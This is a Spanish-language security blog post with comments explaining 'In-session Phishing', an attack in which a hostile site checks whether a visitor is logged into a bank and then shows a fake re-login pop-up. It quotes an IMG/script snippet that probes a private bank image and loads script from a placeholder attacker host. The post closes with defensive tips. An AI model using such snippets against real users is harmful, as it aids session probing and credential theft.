In-session Phishing

insession.jpgRecientemente ha sido publicado un nuevo vector de ataque de phishing de mayor complejidad que el clásico envío masivo de correos electrónicos, y que podría permitir el robo de credenciales en aplicaciones bancarias, juegos-online, etc. El denominado In-session Phishing se vale de una vulnerabilidad en la mayoría de los navegadores web: Internet Explorer, Firefox, Safari, o Chrome, al hacer uso de ciertas funciones javascript.

Para explotar con éxito este fallo de seguridad es necesario que se den las dos situaciones siguientes:

1. El usuario este autenticado en la aplicación objetivo del robo de credenciales.
2. Un segundo site que alberga cierto código malicioso es visitado por el usuario, mientras en la web objetivo se esta todavía autenticado.

Al parecer el navegador procede a albergar una huella cuando una página web que utiliza ciertas funciones javascript es visitada, funciones muy habituales según sus descubridores, Trusteer. De esta manera es posible desde una segunda página interrogar al cliente con preguntas binarias sobre si se está o no autenticado en un cierto dominio. Si la respuesta es afirmativa, el código malicioso presenta un sencillo pop-up que informa al usuario sobre una falsa caducidad de la sesión y la necesidad de reautenticarse en la aplicación. En ese momento el usuario no percibe ningún comportamiento extraño puesto que hasta el momento confía en que estaba registrado en un site totalmente lícito.

El ataque, aunque complejo, puede tener terribles consecuencias, dado que según Sophos una web es infectada cada cinco segundos. En cierta forma este tipo de ataque ya había sido discutido en otra variante por el blog ha.ckers.org, mediante el uso de imágenes de acceso restringido a tan solo a usuarios autenticados en la aplicación. Es decir, mediante el uso de un simple tag <IMG> que haga referencia a una imagen, solo accesible en la parte privada de la aplicación, es posible determinar si el cliente web esta o no autenticado en cierto site.

<IMG SRC=”http://mibanco.com/privado/protegido.jpg” onerror=”http://atacante.com/malware-noautenticado.js “>
<SCRIPT src=malware.js> </SCRIPT>

De esta manera es posible saber si se esta o no autenticado, pero claro, este ataque depende de la aplicación desarrollada y tiene un menor impacto que el detectado por el equipo de seguridad de Trusteer.

Así que se aconseja seguir las siguientes recomendaciones de seguridad:

1. Terminar siempre la sesión actual cuando se navegue a través de una zona privada de la aplicación.
2. Desconfiar completamente de pop-ups que no han sido generados por una acción del usuario.
3. Aplicar complementos de seguridad al navegador que permita controlar scripts no deseados.

Comments

  1. Una consulta, por ejemplo ésto: ”
    ” no puede ser inyectado como XSS :)

  2. Ja! Veo que estas protegido ;) , preguntaba si se podria incluir en un ataque de XSS lo que has puesto con los tags IMG,

    Saludos,

  3. Hola Ariel, en primer lugar gracias por tus comentarios en el blog. La técnica de In-session Pishing (todavía no hechos públicos sus detalles) no se basa en el clásico XSS sino que se vale de la inyección de código Javascript malicioso en un segundo site (web probablemente lícito para el atacado), que comprobaría si se esta autenticado o no en un conjunto, por ejemplo de webs bancarias. En caso de que alguna de las comprobaciones fuera positiva se lanzaría el pop-up de reaunteticacion proveniente de la web poisoneada. Vulnerando completamente la política del mismo origen de los navegadores.